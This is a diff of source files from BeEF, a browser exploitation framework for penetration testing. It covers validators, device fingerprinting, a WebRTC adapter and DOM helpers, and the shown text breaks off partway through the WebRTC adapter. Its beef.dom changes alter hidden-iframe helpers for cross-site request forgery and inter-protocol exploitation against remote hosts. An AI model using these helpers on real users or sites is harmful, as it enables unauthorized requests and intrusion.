# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -45,6 +45,7 @@ require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/handlers/server'
require 'core/main/rest/api'
## @note Include Websocket

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -37,4 +37,7 @@ require 'core/main/migration'
require 'core/main/console/commandline'
require 'core/main/console/banners'
# @note Include rubyzip lib
require 'zip'

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,11 +1,11 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
@@ -24,7 +24,7 @@ module Filters
regex = Regexp.new('[^' + chars + ']')
regex.match(str).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
@@ -33,7 +33,7 @@ module Filters
regex = Regexp.new(chars)
not regex.match(str).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
@@ -98,14 +98,58 @@ module Filters
return false if not is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# Check if valid ip address string
# @param [String] ip String for testing
# @return [Boolean] If the string is a valid IP address
# @note only IPv4 compliant
def self.is_valid_ip?(ip)
return false if not is_non_empty_string?(ip)
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
# @overload self.is_valid_ip?(version, ip)
# Checks if the given string is a valid IP address
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(version = :both, ip)
valid = false
if is_non_empty_string?(ip)
valid = case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(:ipv4, ip) || is_valid_ip?(:ipv6, ip)
end ? true : false
end
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of
# TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
@@ -138,6 +182,6 @@ module Filters
return false if str.length > 200
true
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -12,7 +12,7 @@ module Filters
def self.is_valid_browsername?(str)
return false if not is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
true
end
@@ -22,7 +22,7 @@ module Filters
def self.is_valid_browsertype?(str)
return false if not is_non_empty_string?(str)
return false if str.length < 10
return false if str.length > 50
return false if str.length > 500 #CxF - had to increase this because the Chrome detection JSON String is getting bigger.
return false if has_non_printable_char?(str)
true
end
@@ -32,7 +32,7 @@ module Filters
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
@@ -52,7 +52,7 @@ module Filters
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10
@@ -64,7 +64,7 @@ module Filters
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
true
end
@@ -73,7 +73,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
@@ -82,7 +82,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid screen size characters
def self.is_valid_screen_size?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
@@ -91,7 +91,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid window size characters
def self.is_valid_window_size?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
@@ -114,6 +114,16 @@ module Filters
true
end
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
@@ -123,9 +133,9 @@ module Filters
return true if not is_non_empty_string?(str)
return false if str.length > 1000
if RUBY_VERSION >= "1.9" && str.encoding === Encoding.find('UTF-8')
return (str =~ /[^\w\d\s()-.,;_!\302\256]/u).nil?
return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
return (str =~ /[^\w\d\s()-.,;_!\302\256]/n).nil?
return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -12,7 +12,7 @@ module Filters
def self.is_valid_pagetitle?(str)
return false if not str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 50
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
true
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -15,6 +15,7 @@ require 'ipaddr'
require 'base64'
require 'xmlrpc/client'
require 'openssl'
require 'rubydns'
# @note Include the filters
require 'core/filters'
@@ -29,4 +30,4 @@ require 'core/api'
require 'core/settings'
# @note Include the core of BeEF
require 'core/core'
require 'core/core'

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

File diff suppressed because it is too large Load Diff

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -102,23 +102,19 @@ beef.dom = {
},
/**
* Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
* example usage in the code: beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
* @param: {String} method: can be 'GET' or 'POST'. defaults to GET
* @param: {Hash} params: list of params that will be sent in request.
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param: {Function} a callback function to fire once the iFrame has loaded
* @return: {Object} the inserted iFrame
*
*/
createIframe: function(type, method, params, styles, onload) {
createIframe: function(type, params, styles, onload) {
var css = {};
var form_submit = (method.toLowerCase() == 'post') ? true : false;
if (form_submit && params['src'])
{
var form_action = params['src'];
params['src'] = '';
}
if (type == 'hidden') {
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
} else if (type == 'fullscreen') {
@@ -130,13 +126,6 @@ beef.dom = {
}
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
if (form_submit && form_action)
{
var id = beef.dom.generateID();
$j(iframe).attr({'id': id, 'name':id});
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
$j(form).prependTo('body').submit();
}
return iframe;
},
@@ -384,7 +373,8 @@ beef.dom = {
if (codebase != null) {
content += "<param name='codebase' value='" + codebase + "' />"
}else{
}
if (archive != null){
content += "<param name='archive' value='" + archive + "' />";
}
if (params != null) {
@@ -445,15 +435,17 @@ beef.dom = {
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
* @params: {String} action: the form action attribute, where the request will be sent.
* @params: {String} method: HTTP method, usually POST.
* @params: {String} enctype: form encoding type
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
*/
createIframeXsrfForm: function(action, method, inputs){
createIframeXsrfForm: function(action, method, enctype, inputs){
var iframeXsrf = beef.dom.createInvisibleIframe();
var formXsrf = document.createElement('form');
formXsrf.setAttribute('action', action);
formXsrf.setAttribute('method', method);
formXsrf.setAttribute('action', action);
formXsrf.setAttribute('method', method);
formXsrf.setAttribute('enctype', enctype);
var input = null;
for (i in inputs){
@@ -476,11 +468,11 @@ beef.dom = {
* @params: {String} rport: remote port
* @params: {String} commands: protocol commands to be executed by the remote host:port service
*/
createIframeIpecForm: function(rhost, rport, commands){
createIframeIpecForm: function(rhost, rport, path, commands){
var iframeIpec = beef.dom.createInvisibleIframe();
var formIpec = document.createElement('form');
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+'/index.html');
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
formIpec.setAttribute('method', 'POST');
formIpec.setAttribute('enctype', 'multipart/form-data');

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,129 +1,159 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.hardware = {
ua: navigator.userAgent,
ua: navigator.userAgent,
cpuType: function() {
// IE
if (typeof navigator.cpuClass != 'undefined') {
cpu = navigator.cpuClass;
if (cpu == "x86") return "32-bit";
if (cpu == "68K") return "Motorola 68K";
if (cpu == "PPC") return "Motorola PPC";
if (cpu == "Alpha") return "Digital";
if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
if (this.ua.match('Win64; x64')) return "64-bit (AMD)";
// Firefox
/*
* @return: {String} CPU type
**/
cpuType: function() {
// IE
if (typeof navigator.cpuClass != 'undefined') {
cpu = navigator.cpuClass;
if (cpu == "x86") return "32-bit";
if (cpu == "68K") return "Motorola 68K";
if (cpu == "PPC") return "Motorola PPC";
if (cpu == "Alpha") return "Digital";
if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
if (this.ua.match('Win64; x64')) return "64-bit (AMD)";
// Firefox
} else if (typeof navigator.oscpu != 'undefined') {
if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
}
if (navigator.platform.toLowerCase() == "win64") return "64-bit";
return "32-bit";
},
if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
}
if (navigator.platform.toLowerCase() == "win64") return "64-bit";
return "32-bit";
},
isTouchEnabled: function() {
if ('ontouchstart' in document) return true;
return false;
},
/*
* @return: {Boolean} true or false.
**/
isTouchEnabled: function() {
if ('ontouchstart' in document) return true;
return false;
},
isVirtualMachine: function() {
if (screen.width % 2 || screen.height % 2) return true;
return false;
},
/*
* @return: {Boolean} true or false.
**/
isVirtualMachine: function() {
if (screen.width % 2 || screen.height % 2) return true;
return false;
},
isLaptop: function() {
// Most common laptop screen resolution
if (screen.width == 1366 && screen.height == 768) return true;
// Netbooks
if (screen.width == 1024 && screen.height == 600) return true;
return false;
},
/*
* @return: {Boolean} true or false.
**/
isLaptop: function() {
// Most common laptop screen resolution
if (screen.width == 1366 && screen.height == 768) return true;
// Netbooks
if (screen.width == 1024 && screen.height == 600) return true;
return false;
},
isNokia: function() {
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
isNokia: function() {
return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
},
isZune: function() {
return (this.ua.match('ZuneWP7')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
isZune: function() {
return (this.ua.match('ZuneWP7')) ? true : false;
},
isHtc: function() {
return (this.ua.match('HTC')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
isHtc: function() {
return (this.ua.match('HTC')) ? true : false;
},
isEricsson: function() {
return (this.ua.match('Ericsson')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
isEricsson: function() {
return (this.ua.match('Ericsson')) ? true : false;
},
isMotorola: function() {
return (this.ua.match('Motorola')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
isMotorola: function() {
return (this.ua.match('Motorola')) ? true : false;
},
isGoogle: function() {
return (this.ua.match('Nexus One')) ? true : false;
},
/*
* @return: {Boolean} true or false.
**/
isGoogle: function() {
return (this.ua.match('Nexus One')) ? true : false;
},
/**
* Returns true if the browser is on a Mobile Phone
* @return: {Boolean} true or false
*
* @example: if(beef.hardware.isMobilePhone()) { ... }
**/
isMobilePhone: function() {
return DetectMobileQuick();
},
/**
* Returns true if the browser is on a Mobile Phone
* @return: {Boolean} true or false
*
* @example: if(beef.hardware.isMobilePhone()) { ... }
**/
isMobilePhone: function() {
return DetectMobileQuick();
},
getName: function() {
var ua = navigator.userAgent.toLowerCase();
if(DetectIphone()) { return "iPhone"};
if(DetectIpod()) { return "iPod Touch"};
if(DetectIpad()) { return "iPad"};
if (this.isHtc()) { return 'HTC'};
if (this.isMotorola()) { return 'Motorola'};
if (this.isZune()) { return 'Zune'};
if (this.isGoogle()) { return 'Google Nexus One'};
if (this.isEricsson()) { return 'Ericsson'};
if(DetectAndroidPhone()) { return "Android Phone"};
if(DetectAndroidTablet()) { return "Android Tablet"};
if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
if(ua.search(deviceS60) > -1) { return "Nokia S60"};
if(ua.search(deviceS70) > -1) { return "Nokia S70"};
if(ua.search(deviceS80) > -1) { return "Nokia S80"};
if(ua.search(deviceS90) > -1) { return "Nokia S90"};
if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
if (this.isNokia()) { return 'Nokia'};
if(DetectWindowsPhone7()) { return "Windows Phone 7"};
if(DetectWindowsMobile()) { return "Windows Mobile"};
if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
if(DetectBlackBerry()) { return "BlackBerry"};
if(DetectPalmOS()) { return "Palm OS"};
if(DetectPalmWebOS()) { return "Palm Web OS"};
if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
if(DetectArchos()) { return "Archos"}
if(DetectBrewDevice()) { return "Brew"};
if(DetectDangerHiptop()) { return "Danger Hiptop"};
if(DetectMaemoTablet()) { return "Maemo Tablet"};
if(DetectSonyMylo()) { return "Sony Mylo"};
if(DetectAmazonSilk()) { return "Kindle Fire"};
if(DetectKindle()) { return "Kindle"};
if(DetectSonyPlaystation()) { return "Playstation"};
if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
if(DetectXbox()) { return "Xbox"};
if(this.isLaptop()) { return "Laptop"};
if(this.isVirtualMachine()) { return "Virtual Machine"};
getName: function() {
var ua = navigator.userAgent.toLowerCase();
if(DetectIphone()) { return "iPhone"};
if(DetectIpod()) { return "iPod Touch"};
if(DetectIpad()) { return "iPad"};
if (this.isHtc()) { return 'HTC'};
if (this.isMotorola()) { return 'Motorola'};
if (this.isZune()) { return 'Zune'};
if (this.isGoogle()) { return 'Google Nexus One'};
if (this.isEricsson()) { return 'Ericsson'};
if(DetectAndroidPhone()) { return "Android Phone"};
if(DetectAndroidTablet()) { return "Android Tablet"};
if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
if(ua.search(deviceS60) > -1) { return "Nokia S60"};
if(ua.search(deviceS70) > -1) { return "Nokia S70"};
if(ua.search(deviceS80) > -1) { return "Nokia S80"};
if(ua.search(deviceS90) > -1) { return "Nokia S90"};
if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
if (this.isNokia()) { return 'Nokia'};
if(DetectWindowsPhone7()) { return "Windows Phone 7"};
if(DetectWindowsMobile()) { return "Windows Mobile"};
if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
if(DetectBlackBerry()) { return "BlackBerry"};
if(DetectPalmOS()) { return "Palm OS"};
if(DetectPalmWebOS()) { return "Palm Web OS"};
if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
if(DetectArchos()) { return "Archos"}
if(DetectBrewDevice()) { return "Brew"};
if(DetectDangerHiptop()) { return "Danger Hiptop"};
if(DetectMaemoTablet()) { return "Maemo Tablet"};
if(DetectSonyMylo()) { return "Sony Mylo"};
if(DetectAmazonSilk()) { return "Kindle Fire"};
if(DetectKindle()) { return "Kindle"};
if(DetectSonyPlaystation()) { return "Playstation"};
if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
if(DetectXbox()) { return "Xbox"};
if(this.isLaptop()) { return "Laptop"};
if(this.isVirtualMachine()) { return "Virtual Machine"};
return 'Unknown';
}
return 'Unknown';
}
};
beef.regCmp('beef.hardware');

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

File diff suppressed because it is too large Load Diff

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,200 @@
var RTCPeerConnection = null;
var getUserMedia = null;
var attachMediaStream = null;
var reattachMediaStream = null;
var webrtcDetectedBrowser = null;
var webrtcDetectedVersion = null;
function maybeFixConfiguration(pcConfig) {
if (pcConfig === null) {
return;
}
for (var i = 0; i < pcConfig.iceServers.length; i++) {
if (pcConfig.iceServers[i].hasOwnProperty('urls')){
if (pcConfig.iceServers[i]['urls'].length > 0) {
// In FF - we just take the FIRST STUN Server
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0];
} else {
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'];
}
delete pcConfig.iceServers[i]['urls'];
}
}
}
if (navigator.mozGetUserMedia) {
webrtcDetectedBrowser = "firefox";
webrtcDetectedVersion =
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
// The RTCPeerConnection object.
var RTCPeerConnection = function(pcConfig, pcConstraints) {
// .urls is not supported in FF yet.
maybeFixConfiguration(pcConfig);
return new mozRTCPeerConnection(pcConfig, pcConstraints);
}
// The RTCSessionDescription object.
RTCSessionDescription = mozRTCSessionDescription;
// The RTCIceCandidate object.
RTCIceCandidate = mozRTCIceCandidate;
// Get UserMedia (only difference is the prefix).
// Code from Adam Barth.
getUserMedia = navigator.mozGetUserMedia.bind(navigator);
navigator.getUserMedia = getUserMedia;
// Creates iceServer from the url for FF.
createIceServer = function(url, username, password) {
var iceServer = null;
var url_parts = url.split(':');
if (url_parts[0].indexOf('stun') === 0) {
// Create iceServer with stun url.
iceServer = { 'url': url };
} else if (url_parts[0].indexOf('turn') === 0) {
if (webrtcDetectedVersion < 27) {
// Create iceServer with turn url.
// Ignore the transport parameter from TURN url for FF version <=27.
var turn_url_parts = url.split("?");
// Return null for createIceServer if transport=tcp.
if (turn_url_parts.length === 1 ||
turn_url_parts[1].indexOf('transport=udp') === 0) {
iceServer = {'url': turn_url_parts[0],
'credential': password,
'username': username};
}
} else {
// FF 27 and above supports transport parameters in TURN url,
// So passing in the full url to create iceServer.
iceServer = {'url': url,
'credential': password,
'username': username};
}
}
return iceServer;
};
createIceServers = function(urls, username, password) {
var iceServers = [];
// Use .url for FireFox.
for (i = 0; i < urls.length; i++) {
var iceServer = createIceServer(urls[i],
username,
password);
if (iceServer !== null) {
iceServers.push(iceServer);
}
}
return iceServers;
}
// Attach a media stream to an element.
attachMediaStream = function(element, stream) {
console.log("Attaching media stream");
element.mozSrcObject = stream;
element.play();
};
reattachMediaStream = function(to, from) {
console.log("Reattaching media stream");
to.mozSrcObject = from.mozSrcObject;
to.play();
};
// Fake get{Video,Audio}Tracks
if (!MediaStream.prototype.getVideoTracks) {
MediaStream.prototype.getVideoTracks = function() {
return [];
};
}
if (!MediaStream.prototype.getAudioTracks) {
MediaStream.prototype.getAudioTracks = function() {
return [];
};
}
} else if (navigator.webkitGetUserMedia) {
webrtcDetectedBrowser = "chrome";
// Temporary fix until crbug/374263 is fixed.
// Setting Chrome version to 999, if version is unavailable.
var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
if (result !== null) {
webrtcDetectedVersion = parseInt(result[2], 10);
} else {
webrtcDetectedVersion = 999;
}
// Creates iceServer from the url for Chrome M33 and earlier.
createIceServer = function(url, username, password) {
var iceServer = null;
var url_parts = url.split(':');
if (url_parts[0].indexOf('stun') === 0) {
// Create iceServer with stun url.
iceServer = { 'url': url };
} else if (url_parts[0].indexOf('turn') === 0) {
// Chrome M28 & above uses below TURN format.
iceServer = {'url': url,
'credential': password,
'username': username};
}
return iceServer;
};
// Creates iceServers from the urls for Chrome M34 and above.
createIceServers = function(urls, username, password) {
var iceServers = [];
if (webrtcDetectedVersion >= 34) {
// .urls is supported since Chrome M34.
iceServers = {'urls': urls,
'credential': password,
'username': username };
} else {
for (i = 0; i < urls.length; i++) {
var iceServer = createIceServer(urls[i],
username,
password);
if (iceServer !== null) {
iceServers.push(iceServer);
}
}
}
return iceServers;
};
// The RTCPeerConnection object.
var RTCPeerConnection = function(pcConfig, pcConstraints) {
// .urls is supported since Chrome M34.
if (webrtcDetectedVersion < 34) {
